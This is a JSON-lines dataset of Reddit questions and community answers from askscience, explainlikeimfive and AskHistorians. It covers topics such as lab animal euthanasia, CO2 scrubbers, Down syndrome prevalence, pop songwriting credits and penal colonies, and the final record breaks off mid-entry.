{"q_id": "2h7j6x", "title": "What happens to all the lab rats that don't die after an experiment?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2h7j6x/what_happens_to_all_the_lab_rats_that_dont_die/", "answers": {"a_id": ["ckq40nu", "ckq5led", "ckq5wkw"], "score": [10, 6, 3], "text": ["No, they get killed. \n\nI'm not sure how they kill rats but the most common ways to kill mice include cutting their head off with scissors or twisting their necks like chicken. You can also buy special guillotines to cut their heads off cleanly.", "Well, even if the animal doesn't die due to the experiment, it is likely that there is a lot of extra information to be deduced from the study of its various organs. In several of the labs I worked at, the outcome by default involved sacrificing the rat.\n\nA good ethical experiment is designed in a way that there is no \"waste\" of lives. Now, sometimes something goes wrong and you end up with a surplus of animals that you can't feed nor experiment with.\n\nIn my first lab this number was small and we typically guillotined or lethal-injected them. On two ocassions we donated the rats to the local zoo and they used them to feed their snakes and raptors.\n\nThe other lab used a gas chamber for mass killings. I saw this technique for the first time in my first ever trip to Germany and there was something deeply unsettling in it. I couldn't stop thinkin of, you know... that.\n\nOn a happier note, a colleague once adopted his favorite rat. It was a very nice pet for about 2 years.", "In some countries, it is illegal to NOT euthanize the rats/mice, especially the genetically modified ones. The government is afraid that releasing them to the wild or feeding them to other animals would result in serious problems, which is potentially true in some cases. However, to unify things, even those mice that we do not foresee a problem are all euthanized the same way. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3c3pps", "title": "why doesn't netflix host more public domain films?", "selftext": "They don't need the rights right? It would expand their library greatly if they did.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3c3pps/eli5_why_doesnt_netflix_host_more_public_domain/", "answers": {"a_id": ["csrybf8", "csrycqn", "csrykk2"], "score": [7, 25, 2], "text": ["There aren't that many films in the public domain.  There likely isn't much demand for the ones that are in the public domain.", "There aren't as many good public domain films as one may think.  *Steamboat Willie*, sometimes cited as the motivation behind all the copyright extensions, dates to 1928 and won't enter the public domain until 2023, unless there's another extension.\n\nBut since no one needs to acquire the rights to them, they can be hosted by anyone on cheap or free sites.  I'd be pretty annoyed with Netflix if they were taking my subscription fee and spending it just to add films I could get elsewhere for free.  As a customer, I'm paying for films that *aren't* in the public domain.", "Storage space is at a premium and they need to host films that are more in demand to make the money spent a positive return on their investment on the infrastructure they build to provide their services. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1e7093", "title": "Were parents any less emotionally attached to their children in the past?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1e7093/were_parents_any_less_emotionally_attached_to/", "answers": {"a_id": ["c9xgc5b"], "score": [6], "text": ["If you go back to the Romans as an example of high child mortality vs. parental attachment, it's actually very interesting. Of course, most of the records on this come from those who were of the Upper Class or wealthy, but you can find epigraphs for young children, and some surviving records of letters which show that parents were quite attached. \n\nAs with anything, the way in which child death is perceived shifts from place to place and from era to era. In Japan, for example, there was a shift in infant death practices. Prior to the modern era it was believed that a child that died early in life or as an infant would be reborn and given another chance, therefore there was not an overwhelming need for feel anything beyond normal grief. However, as ideas began to shift and Western concepts filtered in through the Jesuit and Dutch missionaries, there began to crop up a practice of offering things to *Jizo*  the bodhisattva who was believed to be the guardian of children, in order to appease the spirit of the dead child and prevent it from coming back as a malevolent spirit. (I have a few texts on this and will root them up when I get home later this evening to provide further resources for this.)\n\nSome of these can be found in source books, which divide the source information up, and usually provide examples for grieving parents of young children and such. Here are a few that I have found useful when looking at Greek and Roman social history:\n\n*Women's Life in Greece and Rome: A Course Book in Translation.* 3^rd ed. eds. Mary R. Lefkowitz and Maureen B. Fant. Baltimore: The Johns Hopkins University Press, 2005.\n\nShelton, Jo-Ann. *As the Romans Did\"A Sourcebook in Roman Social History.* 2^nd ed. New York: Oxford University Press, 1998.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2k8qwx", "title": "where do viruses go when there's not an outbreak?", "selftext": "Common example --- every year there's flu season. Where is the flu when it's not flu season? \n\nTopical example --- they've apparently identified patient zero of the current ebola outbreak as a child who died in December 2013. Ebola obviously has had outbreaks in the past. Where did ebola go in between outbreaks? Is it just hiding somewhere in the jungle? If so, now that ebola has escaped Africa, does this mean it could be lurking somewhere in Europe or the United States and, years from now, there could be an outbreak that starts outside of Africa?\n\nDoes this mean something that was once widespread in the US that we're now all vaccinated against --- say, smallpox --- could be lurking in my backyard and is just waiting for some anti-vaccination fool to stumble upon it? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2k8qwx/eli5where_do_viruses_go_when_theres_not_an/", "answers": {"a_id": ["cliz6x8", "clj981v"], "score": [13, 3], "text": ["Virologist here! Think of a virus like a grizzly bear. When winter comes, the bear knows it needs to go in to hibernation to reserve its strength, rest through harsh times, and re-emerge in better conditions. Viruses do the exact same thing.", "Lots of diseases exist in [animal reservoirs](_URL_0_) as well as human hosts. Bird flu is an example you've probably heard of, but [there are many examples of zo\u00f6notic diseases](_URL_1_). I've read that they think the current ebola outbreak may have been transmitted from bats.\n\nOther viruses don't really have animal reservoirs, and either lie dormant in their human hosts for a while, or always have some small population of people falling sick with them. Smallpox can't survive in anything except humans, apparently, which is why a global immunization program was able to basically drive the disease extinct.\n\nMost viruses can't survive very long outside a host, but some non-viral diseases can, like anthrax which can form hardy spores and just hang out in the soil for decades waiting for someone to infect."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Natural_reservoir", "http://en.wikipedia.org/wiki/Zoonosis"]]}
{"q_id": "4cmlxz", "title": "Which was named \"Bath\" first, the city Bath in England or the actual Roman bath within the city?", "selftext": "Basically, was the bath named after the city or was the city named after the bath?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4cmlxz/which_was_named_bath_first_the_city_bath_in/", "answers": {"a_id": ["d1jjxsp"], "score": [31], "text": ["The city was named after the Roman baths. The Roman name for the city was Aquae Sulis (Waters of Sul). The Anglo Saxons later called it Ba\u00f0um, which is roughly 'At the Baths'. The Anglo-Saxon name was eventually shortened to simply Bath."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "e2f2s1", "title": "How do CO2 scrubbers work?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/e2f2s1/how_do_co2_scrubbers_work/", "answers": {"a_id": ["f8v6asu", "f8w2sog", "f8wjgyl", "f8xc4f8", "f8xgd4m"], "score": [1526, 38, 13, 3, 8], "text": ["They are (usually) based on the reaction of CO2 with a base to form a bicarbonate salt. Many different bases can be used for this. The Apollo program scrubbers used LiOH (due to light weight) but the CO2 absorption canisters couldn't be reused. For flights of a few days, this is fine. Famously, during Apollo 13 [an adapter needed to be rigged up to use the command module CO2 scrubbers before the LiOH canisters in the lunar module ran out](_URL_2_).\n\nThe International Space Station, which is continuously inhabited, [uses a different method based on binding of CO2 to a zeolite](_URL_0_), which is a highly porous metal oxide (in this case, a mixed oxide of aluminum, magnesium, and silicon with pore size 5 \u00c5). Although the zeolite has basic sites within its crystal structure, the extremely high surface area is probably more important than the basicity. Heating the zeolite releases CO2 into the vacuum of space.\n\nSubmarines [use monoethanolamine](_URL_1_), which is a liquid base. This can likewise be heated to reverse the reaction and regenerate the base. The released CO2 is put into the outside water. This means that submarines can operate for long periods of time without needing to replace the CO2 scrubbers. This technology is [also being pursued for scrubbing CO2 from power plant exhaust](_URL_3_).\n\nThere are a few other methods, such as passing the gas over a membrane selectively permeable to CO2 (which [only works well for high-pressure gas streams](_URL_4_)), or by feeding CO2 to algae, but these generally aren't widely used.", "Just as an aside, there is another type of CO2 scrubber that actually removes VOCs from the gas prior to it being captured, etc, in industrial plants. Those work by pulling the CO2 upward through a column that contains a packing material, while water flows downward from the top. The water captures the VOCs in the process.", "CO2 forms carbonic acid when it dissolves into water. If the water has a strong base in it, the carbonic acid reacts with that to form a carbonate. For example, sodium hydroxide (lye) in water will react with CO2 to form sodium carbonate or even bicarbonate.", "_URL_0_\n\nThis should cover it. Basically, CO2 dissolves better with a high pH solution. So you have air constantly flowing through a recirculated high pH liquid (usually NaOH and water), which reacts, lowering the pH of the liquid. A valve or metering pump maintains the pH in the scrubber high enough for the desired efficiency. All the while, CO2 is removed from the continuous flowing gas stream.", "We use carbon dioxide absorbers in anaesthesia to conserve oxygen and allow us to deliver oxygen at low flows. The absorbers are soda lime (NaOH) and Ca(OH)2.\n\nCO2 + Ca(OH)2 - >  CaCO3 + H2O + heat\n\nEssentially the CO2 reacts with the alkali. The soda lime canister also contains an indicator that turns pink when the soda lime is \u201cexhausted\u201d. We also know when this occurs because absorber efficiency decreases and the inspired fraction of carbon dioxide increases.\n\nEdit: forgot to add that water is needed for the reaction to occur. This is obviously useful as we exhale warm,  humidified air. The soda lime also produces heat so there is reduced heat and water loss from the patient than if they were breathing non warmed, humidified air.\n\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://ntrs.nasa.gov/search.jsp?R=20050210002", "https://www.sciencedirect.com/science/article/pii/0029801883900100", "https://www.hq.nasa.gov/alsj/a13/a13_LIOH_Adapter.html", "https://en.wikipedia.org/wiki/Ethanolamine#Gas_stream_scrubbing", "https://www.sciencedirect.com/science/article/pii/S037673881400194X"], [], [], ["https://youtu.be/kfyWD_7-42s"], ["https://en.m.wikipedia.org/wiki/Soda_lime"]]}
{"q_id": "3cjgza", "title": "Aren't the Big Bang and black hole theories contradictory?", "selftext": "If a black hole has enough mass to prevent anything from escaping, and the Big Bang was where all matter started at or near a singularity and then... Escaped...  Isn't one of them wrong?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3cjgza/arent_the_big_bang_and_black_hole_theories/", "answers": {"a_id": ["cswbz58"], "score": [10], "text": ["Part of this is a misunderstanding of what the big bang is. \n\nThe big bang isn't an explosion of matter coming from a point somewhere in the universe.\n\nIt is that we have observed metric expansion of the universe. We can, with good confidence, trace back the history of the universe to almost a time (we usually call 0).\n\n If you extrapolate the extra 10^-20 seconds that we can't really say we know about (that's a conservative estimate you could push this as far back as the Planck time if you wanted to be confident) you get to a point where the metric becomes singular.\n\nThat means that there is no defined distance between points at t=0. Which is very different to a black hole, which is a \"vacuum solution\" of GR, meaning that it is only valid when there is no matter other than at the singularity.\n\nThe discontinuous (if the universe is infinite) expansion at t=0 is the \"big bang\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bmumqu", "title": "my new hand disinfectant says it inactivates hiv. how does that work exactly?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bmumqu/eli5_my_new_hand_disinfectant_says_it_inactivates/", "answers": {"a_id": ["emzswu6", "emzt445", "emzweu2"], "score": [10, 3, 3], "text": ["HIV doesn\u2019t survive long outside the body, it can only be transmitted through blood, breast milk, sexual contact, etc.\n\nSince it\u2019s virtually harmless without proper transmission, I really don\u2019t think hand disinfectant is going to help.\n\nTechnically speaking, viruses can be inactivated using some pH changes, some oxidizing agents, Chlorine dioxide etc.\n\nThe disinfectant you\u2019re using could contain some of these compounds and could be able to inactivate viruses, but marketing decided that claiming it could work against HIV makes it seem better to the average consumer. In reality it just works against viruses in general and HIV isn\u2019t much of a threat when it\u2019s on an external surface.", "Its a virocidal there is many ways to destroy or inactive a virus  you can look it up in some articles but its not an antiviral drug the inhibit the proliferation of the virus", "Without knowing the specific disinfectant you're talking about or it's active ingredients, it's hard to say, but HIV is such an incredibly fragile virus that simple exposure to air damages it to the point that it will deactivate very quickly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4mipyr", "title": "why does iceland still use patronymic names (eg magnus samuelsson = magnus son of samuel)? does this not cause any bureaucratic difficulties?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mipyr/eli5_why_does_iceland_still_use_patronymic_names/", "answers": {"a_id": ["d3vs3by", "d3vylu1"], "score": [4, 2], "text": ["If your system is set up to process it that system is no more problematic than any other naming system. ", "Iceland likes it this way--it is actually very restrictive about names, hoping to preserve traditional Icelandic naming customs. For example, it is not allowed to give children names that do not follow the rules of the Icelandic language, or which are not appropriate for their gender. This frequently causes problems for dual nationals whom may have different naming customs.\n\nIf you are familiar with the custom, accommodating it is easy. Problems with names usually arise when people make assumptions about the names that people have that aren't true, such as assuming they have a last name or assuming it will be of a certain length. Any known custom is not so big a problem. In countries where surnames are less likely to be unique, as in Iceland, of course people are not as inclined to make the assumption that people with the same surname are related."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "976iiy", "title": "why does down syndrome appear more prevalent in the western world?", "selftext": "I hope this question doesn't come across ignorant, but whenever I have visited countries outside of the West I haven't seen as many people with Down syndrome; friends I have in England who have emigrated from non-Western countries have also commented on Down syndrome seeming more common here. \n\nAnother question I had, if you read this far, is: is down syndrome exclusive to the Caucasian race, as I don't think I've ever seen people of different races with Down syndrome? \n\nThanks! ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/976iiy/eli5_why_does_down_syndrome_appear_more_prevalent/", "answers": {"a_id": ["e45v7q9", "e45vb4t", "e45vn2m", "e465ilv", "e46jz26"], "score": [19, 329, 44, 10, 5], "text": ["Firstly, Down Syndrome occurs in all races more or less equally. The cause of Down Syndrome is unknown, but has not been found to have any link to race, socioeconomic status, health of the parents, etc.\n\nAs to why there appear to be less in other countries,  this may be social in nature. Most Western countries such as the UK, USA, Canada, Europe have tolerant attitudes towards including people with disabilities in mainstream society. This may not be the case in other areas of the world.", "Any race can have Down Syndrome, and it\u2019s prevalent all over the world, occurring in somewhere between 1 in 1000 and 1 in 700 babies or so. It is more likely to occur with older parents, however.\n\nSo the explanations for your observations?\n\n1) Mental and physical disability is often a lot more stigmatized in the developing world, causing families to hide their children or even abandon/kill them at birth.\n\n2) Developed countries have much better healthcare and education surrounding disability, ensuring persons with these conditions are able to survive longer and be better absorbed into and therefore visible in society. Disabled persons in the developing world do not often survive as long as they could with adequate care, or receive substandard care solely because they are disabled.\n\n3) Depending on where you live, it is likely that Caucasians are in the majority. As Down Syndrome is pretty rare, you are loads more likely to encounter Caucasian persons with the Syndrome, solely because there are more Caucasians.\n\n4) This one is speculation, but parents in developed countries are often older. Given the known positive association between age at parent hood and likelihood for chromosomal/genetic disorders there may be some slight increase in prevalence in the developed world. This would be nowhere near the extent to which you seem to have observed though, so the first three explanations are likely the best.\n\nEdit: added reason no. 3\n\nEdit: Formatting (I hope)", "Until the 1960s, the life expectancy for a child with Down Syndrome was 2 years. The reason for this was that Down Syndrome is often accompanied with other health issues, most notably heart problems. Some of these problems can be managed with complex and expensive western medicine, like open heart surgery, among other methods. Nowadays, with these medical techniques, children with Down Syndrome can live to old age. But if people are poor and/or unable to access expensive, complex medicine, those children may very well not live that long. Especially in situations where infant mortality is high anyway. Such conditions are prevalent in the third world. \n\nThis could also be an issue of you spending a lot less time in non-Western nations than in the Western nation that you are presumably from. If you spent more time in non-western nations, and spent more time in non-public places, you might end up seeing a different side to things.", "Odds of Down Syndrome rise by more than a thousand percent with the age of the mother; .  [A 20 year old mother has a risk of DS that is 1 in 1600; a 45 year old mother has a risk of 1 in 25](_URL_0_)\n\nWomen in the Western World are having babies earlier, and the cellular machinery that moves DNA around the egg cell has aged.  ", "to be honest.. in some lesser developed nations, babies with obvious downs are killed. In the West we nurture and care for these individuals"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.ds-health.com/risk.htm"], []]}
{"q_id": "49xges", "title": "what are the hard, tender bumps that form on the tragus of the ear and why do they form?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49xges/eli5_what_are_the_hard_tender_bumps_that_form_on/", "answers": {"a_id": ["d0vswnb", "d0vtgu5", "d0vuooy"], "score": [6, 4, 2], "text": ["From time to time I get these, which are often unpoppable or hard-to-pop pimples. Unless they are large and show the characteristics of a cyst, it's likely they're just pimples.", "FYI, acne is technically a common \"randomly occurring cyst\". Also, general rule of thumb with anything poppable on the skin is not to pop is because 1: they're full of gunk and 2: open wounds hurt more than just something under the skin because biology. ", "Another possibility not yet mentioned in the thread is that it could be an infected sweat gland. I believe can occur if a pore gets blocked. \n\nEdit: Was drinking, not thinking. Spelling and what not."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "24bxzs", "title": "what is happening when i want to write something down, but my hand writes something else.", "selftext": "Sometimes when I'm writing something down, my hand ends up writing something else entirely, like if my mind was thinking ahead and wrote what I was going to write later.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24bxzs/eli5_what_is_happening_when_i_want_to_write/", "answers": {"a_id": ["ch5m7qv", "ch5n91f", "ch5rybu"], "score": [12, 5, 2], "text": ["It's called dysgraphia. Like dyslexia the words or letters are jumbled up. I've suffered from it all of my life.  \n\nMany people have this issue to a greater or lesser degree but it can be a real [disability.](_URL_0_)", "The brain is not a single unified structure as most people imagine it to be. It's actually fairly modular; which means that certain functions are handled very separately. Very much like a computer; your brain is made up of components that are capable of running themselves independently, but are all kept in synch (most of the time), and so everything you do feels as if it's the result of a single stream of conscious thought (aka \"You\").\n\nHowever, occasionally this synchronization is interrupted in various sections of the brain, creating odd errors that surprise the conscious element of it (again, \"You\"). These kinds of errors can be: intending to say one word and ending up saying another, intending to write one thing but writing something else instead, etc. These errors can even affect your actual thinking, manifesting as a bizarre internal thought response to something, which you usually do a double take on and think \"Now why did I just think that?\". Typically such errors are just normal \"glitches\" in the brain's function that it's able to detect rapidly and correct.\n\nErrors which occur frequently, or when they occur are not noticed for an unusual amount of time (i.e writing a string of sentences completely unrelated to the topic you're intending to write about) can be indicative of an actual problem. Some people are born with certain disorders which cause such errors (i.e dyslexia), others acquire them from brain injuries or use of certain drugs. In the latter case, the brain is often able to restore proper function given time, though not always.", "You use your working memory to support executive function (thinking about things and figuring them out).  Unfortunately, you also use your working memory to encode concepts into words and thence into letters in the act of writing.  Specifically, you use a \"phonological loop\" to say words in your head (or out loud, if you REALLY want to strengthen associations) that you're really thinking of, and of course, that phonological loop informs sound-letter (or whole word) correspondence.  So you want to write \"go\" but you think the word \"stop\" and your hand goes S-T-O...Your working memory couldn't do both at the same time so there was cognitive \"seepage\".\n\n\n/Badly summarized Baddely"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.m.wikipedia.org/wiki/Dysgraphia"], [], []]}
{"q_id": "20ypk8", "title": "are there any 100% real, legitimate ways of making money on the internet? or are they all scams to lure us into purchasing their \"get rich quick\" products.", "selftext": "There are hundreds of \"get rich quick\" programs on the internet. Many of them even claim you can make up to 7 figures in a year. If this is true, please explain exactly how this is possible. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20ypk8/eli5_are_there_any_100_real_legitimate_ways_of/", "answers": {"a_id": ["cg7z0o1", "cg7ze0x", "cg8451p"], "score": [3, 2, 2], "text": [" >  If this is true, please explain exactly how this is possible.\n\nCreating those scams and stealing sap's money works fairly well.", "There are totally legitimate ways to make money on the internet.\n\nYouTube, Twitch, etc. are good examples.\n\nNow if you mean \"get rich quick\" schemes... no, they are likely scams.", "leapforce is a company that does like...search engine results verification or some such nonsense. Look into it. Totally legit, 100% online, work at home gig."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "xwdi0", "title": "When an animal is in trouble or needs something, and you help it out, does it feel any sense of gratefulness? ", "selftext": "I understand \"animals\" is a huge spectrum, so I don't really mean ALL animals. If you know of any animals specifically that display such traits, please do mention it.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xwdi0/when_an_animal_is_in_trouble_or_needs_something/", "answers": {"a_id": ["c5q6id0", "c5qbpqq"], "score": [19, 2], "text": ["I heard a great podcast of Radiolab where they describe a whale that was caught in a fishing net and then freed by scuba divers.  The whale after being freed apparenty stuck around and surfaced to look at each of the divers individually.  They theorized it was thanking them.  Perhaps this isnt tight science enough but it came to mind. I believe the show was about animal emotions\n_URL_0_", "I think the issue with a question such as this is the definition of things like \"gratitude\".\n\nIsn't gratitude a shade of happiness? Do animals feel happy when they're released from danger or given something they want? Sure. Can it be nailed down to something as amorphous as \"gratitude\"? It's hard to say.\n\nTL;DR: Anthropomorphism.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.radiolab.org/"], []]}
{"q_id": "7jbrbl", "title": "what causes the monsoon season in india+nepal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7jbrbl/eli5_what_causes_the_monsoon_season_in_indianepal/", "answers": {"a_id": ["dr53l6l"], "score": [9], "text": ["Wind is air that moves from a place with higher pressure to a place with lower pressure. \nDuring summer months, sunlight heats up both the sea and land. But since land absorbs heat better, land get heated up to a higher temperature than sea. So the air above land is at a higher temperature, thus the air expands more and is less dense. So the air above the land is of a lower pressure than the air above the sea. So air flows from the air above the sea  to the air above the land (higher pressure to lower pressure). Since seawater evaporates and become water vapour in air, more water vapour is also carried to land, resulting in more frequent and heavier rain. Thus resulting in monsoon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "282ysu", "title": "why does it take so many writers to write pop music?", "selftext": "Artists like pitbull often have 6 or more writers on a track. Why does it take so many people to write (what I and many others think to be) a shit song? The music and lyrics are unimaginative. Are these just expert hit makers that work like a team of scientists to make something that will get people on the dance floor? Is it a time thing? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/282ysu/eli5_why_does_it_take_so_many_writers_to_write/", "answers": {"a_id": ["ci6wk4g", "ci6wzns", "ci6xiyp", "ci77cer", "ci79xiw"], "score": [11, 18, 4, 2, 2], "text": ["Because these songs are not art, they are carefully crafted creations designed to generate short-lived hype and appeal. \n\nDon't get me wrong, I enjoy pop music. But the music doesn't speak to anyone, it just makes people want to buy shit. Real music conveys a story (funny/sad/happy, whatever) in a way that is also aurally pleasing. \n\nEdit: I don't know why it is so hard to have a reasonable comment on Reddit without people misinterpreting. This is not bashing pop music it is just explaining why there are more than one writer and why the songs you hear on the radio today will most likely not be on the radio in 15 years.", "Pop music is science not art. It requires architects, not artists. All the pieces have to come together to make it appeal to the most people. Typically, they piece together teams whose members each possess a different expertise, again much like a building is built, to make it \"work.\" \n", "Think of it like this: An artist in a band, let's say Slipknot (totally randumb example), writes a song, or a part, and next comes to the rest of the band and as a group they collaborate on what the original \"song-writer\" has done. But, what you get in the end is an amalgamation of different people's creative ideas summed up in one, cohesive song, under the label of \"Slipknot.\" You think of it as one form. Similarly, a pop artist's song, that was built upon by many other artists/producers/etc..., is, in the end, the same thing with a different label on it. That label, generally speaking, being a single artist's name. \n\nThis is coming from someone who's in the music industry, and who doesn't care much for pop music. The idea and understanding of creating music, regardless of whether you care for the type or not, is all the same. And, as people have already said, it's music and artists with the goal of instant retribution, so including more people just shifts the odds in favor of creating a hit. Then, everyone gets monnnneeeyyyy!\n\nEdit: Spelling. On a phone. Fawk.", "It's like a sitcom writers' room.", "I'm an avid pop fan and have been following pop music trends for years now.  I can offer background on the issue surrounding writing credits even if it doesn't directly answer your specific questions.\n\nThe easy answer is many songwriters like working in groups because why not?  More brains equals more ideas and some writers might also be skilled at producing or playing music too like the Neptunes were.\n\nHowever, the more complicated answer is **writing credits have become more of a credibility grab than an accurate measure of who created the song.**\n\nIn the last 15 years or so, it became a point of contention with many pop listeners that one of the key markers of a \"real\" artist is writing all or most of the songs on their album.  You can go on any pop forum and see this is a hot button topic, and was one of the factors that contributed to Lady Gaga's, Kesha's and Adele's rise to fame (the former two were songwriters before lead artists and Adele writes most of her own songs).\n\nObviously no matter how vocally talented an artist is, that doesn't mean they can write a good, catchy song.  So in a bid to cover both bases, artists began making a big deal about getting writing credits even if they barely contributed.\n\nIt's been a subject of many debates nowadays as to how many of the writers involved *actually contributed significantly to the song* or are just trying to gain brownie points with audiences.  \n\nA songwriter actually revealed some [interesting behind-the-scenes details here](_URL_1_) about the public and private mess surrounding writing credits these days.\n\n >  **\"Hey, you wanna be on my album? I\u2019m gonna need writing credit for that song AND part of your publishing even though I didn\u2019t write anything! And then I\u2019m gonna go on tour and gross $150 million in ticket sales and not give you any of that, even though I\u2019m performing your song!\u201d**\n\nYou can see she was inspired to write that because the media was criticizing Britney Spears for *not* writing enough songs.  So it's a catch 22: you either take the credits *even if you don't deserve them* and risk ruining working relationships by pushing the songwriters aside, or don't take the credit and risk public/media criticism for not appearing \"authentic\" enough.  (Not to mention the royalties involved if you are credited).\n\nThen you have the very subjective aspect of what actually *counts* for a credit.  [Ryan Tedder of OneRepublic](_URL_0_) talked about what it took for her to get a writing credit on Halo:\n\n >  \"For instance, on Halo, that bridge on her version is completely different to my original one,\" he continued. \"Basically, she came in, ditched that, edited it, did her vocal thing on it and now it's become one of my favourite parts of the song. The whole melody, she wrote it spontaneously in the studio. So her credit on that song stems from that.\"\n\nSo a bridge or melody change is enough to warrant being a \"writer\" on a track.  Is it *enough*?  Who knows?  **But you can see how singers/writers/producers desperate for artistic credibility amongst fans would use this as a loophole to gain credits.  This is an example of how songs that seem very simple or repetitive can have 6-10+ writing credits.**  Someone involved might've written 50% of the song or one single line but either way, they're usually going to fight for credit because it could be the difference between them being seen as \"manufactured\" or \"an artist\" (this goes for anyone involved too, though obviously there's more pressure for the lead vocalist) and getting big bux in return for a hit.\n\nIronically, Avril Lavigne was [criticized by two different songwriters she worked with for not contributing *enough* to warrant writing credits](_URL_2_).  So while one artist earns a credit for contributing little more than a bridge or melody change, another is criticized for contributing and being credited for the *exact same thing*.  You can see how fickle the idea of being a featured writer on a pop song is.  You can usually tell by who songwriters like working with whether they're respectful about contributing and crediting.\n\n**So in conclusion, when fans largely decided being a writer on tracks led to their increased respect and acceptance of an artist, it became a mad scramble to ensure that you got your name in there, even if you only contributed a line or a word or two.  This has contributed to a LOT of tension and controversy between artists and writers and the creation of albums has become more of a \"push and shove\" situation for those involved wanting to be credited.  So that song with 6 writers could literally just be 1 primary writer with the lead artist contributing a line, and 4 others around them helping to create the song structure or melodies.  But on the album booklet/wiki page it's going to say everyone's name equally even if that primary writer deserves the credit most.  The concept of writing credits on pop songs has gone far beyond the creation of the song itself and has become about money, negotiation, good working relationships and the illusion of artistic integrity in a genre whose fans never required it until recently.**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.gigwise.com/news/90438/Ryan-Tedder-discusses-rumours-Beyonce-takes-credit-for-songs-she-didn%27t-write", "http://www.vulture.com/2011/04/britney_spears_songwriter_heat.html", "http://www.ctvnews.ca/avril-lavigne-s-songwriting-skills-under-fire-1.247325"]]}
{"q_id": "1y5p2c", "title": "why don't countries exile criminals anymore? there are plenty of uninhabited islands that could be set up as a type of penal colony.", "selftext": "asdfsadf", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1y5p2c/eli5_why_dont_countries_exile_criminals_anymore/", "answers": {"a_id": ["cfhkalp", "cfhkj94", "cfhkuca", "cfhlwe3", "cfhm3n0", "cfhm881", "cfhoux5", "cfhp1ca", "cfhrx4f", "cfhu550", "cfhug67", "cfhwlta", "cfhxj00", "cfi048q", "cfi0b8n"], "score": [3, 50, 16, 22, 7, 27, 3, 3, 3, 2, 4, 2, 2, 5, 2], "text": ["Some still do for grave crimes like treason, the US used Guantanamo Bay in effect as a system of exile for decades.\n\nBut the vast majority of modern democratic states do not exile criminals because their systems of justice hinge on rehabilitation rather then just a system of punishment. ", "Uninhabited doesn't mean unowned.  There are very few if any places in the world that are totally unclaimed by any country.  The ones that exist are generally so inhospitable that sending someone there would be a death sentence.\n\nSo basically, even if we wanted to do this, there is no place to send them that wouldn't kill them.", "The land has be be both uninhabited, and habitable.\n\nThere just aren't any uninhabited land out there that is able to support more than a small number of people indefinitely.", "Every penal colony which has been set up has been proven to be an economic failure. The two most horrible examples we know of are the Soviet Gulag system and the French penal system which existed in French Guiana between 1853 and 1938. \n\nPenal colonies are a waste of money and encourage massive corruption. Penal colonies are very expensive to maintain and they simply don't work since slave labour is not the most productive labour. \n\nIt is far easier to construct jails for the purpose of punishment. ", "What would stop anyone with a boat from picking up whomever you \"exile?\"\n\n", "It'll happen again in 1997 when New York City's crime rate rises 400% and the island is turned into a prison, all tunnels and bridges are mined.", "There's no advantage to a penal colony. You would still have to provide them food and shelter to be humane. This would be extra costly due to transport. If you didn't police them, they could build a boat and return. If you do police them, the guard positions would have to pay extremely well. There's no option to rehabilitate. \n\nIt's much better to look at Scandinavian prison systems if you want a better model. They have their head screwed on straight.", "We did this experiment already.  We got Australia.", "Do you want pirates? Because that's how you get pirates.", "We sort of do, we sent people from gizmo to Palau\n\n_URL_0_", "heh... penal colony", "Why exile someone when you can send them to a private prison for a profit.. Or at least that's what prison lobbyists say.", "Because sending them to a penal colony is essentially condemning them to martial law, rape, and a merciless death.\n\nIt would be considered inhumane.", "Exile to an uninhabited island would probably be considered as \"cruel and unusual punishment\", and while I know that the USA forbids than in our Constitution, other countries may not. \n\nAs far as penal colonies go, nobody wants another Australia. ", "Do you want pirates? Because that's how you get pirates[.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["http://usatoday30.usatoday.com/news/world/2009-06-10-island-palau-gitmo-detainees_N.htm"], [], [], [], [], 